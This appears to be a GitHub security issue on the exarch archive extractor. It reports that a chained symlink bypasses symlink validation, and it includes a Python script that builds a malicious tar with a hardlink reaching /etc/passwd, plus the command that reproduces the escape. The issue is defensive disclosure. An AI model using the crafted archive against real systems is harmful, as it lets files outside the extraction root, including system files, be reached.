Skip to content

sec: two-hop symlink chain bypasses SafeSymlink validation (GHSA-83g3-92jg-28cx variant) #116

@bug-ops

Description

@bug-ops

Summary

When --allow-symlinks is enabled, a carefully crafted archive can place symlinks outside the extraction root using a two-hop chain. The second symlink passes string-based validation (normalizes to inside dest) but resolves outside via the first symlink already written to disk.

Attack Chain

Based on GHSA-83g3-92jg-28cx (node-tar), adapted to exarch's TAR extraction:

Entry 1: dir   a/b/c/
Entry 2: link  a/b/c/up  ->  ../..        (resolves to a/  — passes validation)
Entry 3: link  a/b/escape -> c/up/../..   (string: normalizes to a/b/ — PASSES; disk: resolves to /tmp/)
Entry 4: hard  exfil -> a/b/escape/../../etc/passwd
              (string: normalizes to a/etc/passwd — PASSES; disk: /etc/passwd)

Reproduction

python3 - <<'PYEOF'
import tarfile, io
buf = io.BytesIO()
with tarfile.open(fileobj=buf, mode='w') as tf:
    d = tarfile.TarInfo('a/b/c'); d.type = tarfile.DIRTYPE; d.mode = 0o755; tf.addfile(d)
    s1 = tarfile.TarInfo('a/b/c/up'); s1.type = tarfile.SYMTYPE; s1.linkname = '../..'; tf.addfile(s1)
    s2 = tarfile.TarInfo('a/b/escape'); s2.type = tarfile.SYMTYPE; s2.linkname = 'c/up/../..'; tf.addfile(s2)
    h = tarfile.TarInfo('exfil'); h.type = tarfile.LNKTYPE; h.linkname = 'a/b/escape/../../etc/passwd'; tf.addfile(h)
with open('/tmp/escape.tar', 'wb') as f: f.write(buf.getvalue())
PYEOF

cargo run --bin exarch -- extract --allow-symlinks --allow-hardlinks /tmp/escape.tar /tmp/out/
python3 -c "import os; print(os.path.realpath('/tmp/out/a/b/escape'))"
# Output: /private/tmp  (OUTSIDE extraction root)

Root Cause

SafeSymlink::validate uses normalize_symlink_target() (string-based .. resolution, lines 151–152 in safe_symlink.rs). When validating escape -> c/up/../.., the function normalizes the string c/up/../.. to c/ without following c/up as an already-extracted on-disk symlink. Result: validated as safe, but real resolution escapes dest.

Same issue affects SafeHardlink validation for the hardlink target.

Impact

  • Requires: --allow-symlinks (non-default) AND --allow-hardlinks (non-default)
  • On macOS: hardlink creation blocked by OS for root-owned files, but escape symlinks are written to dest
  • On Linux: would allow hardlinks to any file readable by the extracting user to be placed inside dest

Expected Behavior

After writing a symlink to disk, subsequent symlink/hardlink targets that traverse through it should be validated using canonicalize() (or equivalent on-disk resolution) to detect the escape.

Severity

High — bypasses symlink escape protection with chained symlinks. Mitigated by requiring two non-default flags.

Metadata

Metadata

Assignees

Labels

bugSomething isn't workingsecuritySecurity related

Projects

No projects

Milestone

No milestone

Relationships

None yet

Development

No branches or pull requests

Issue actions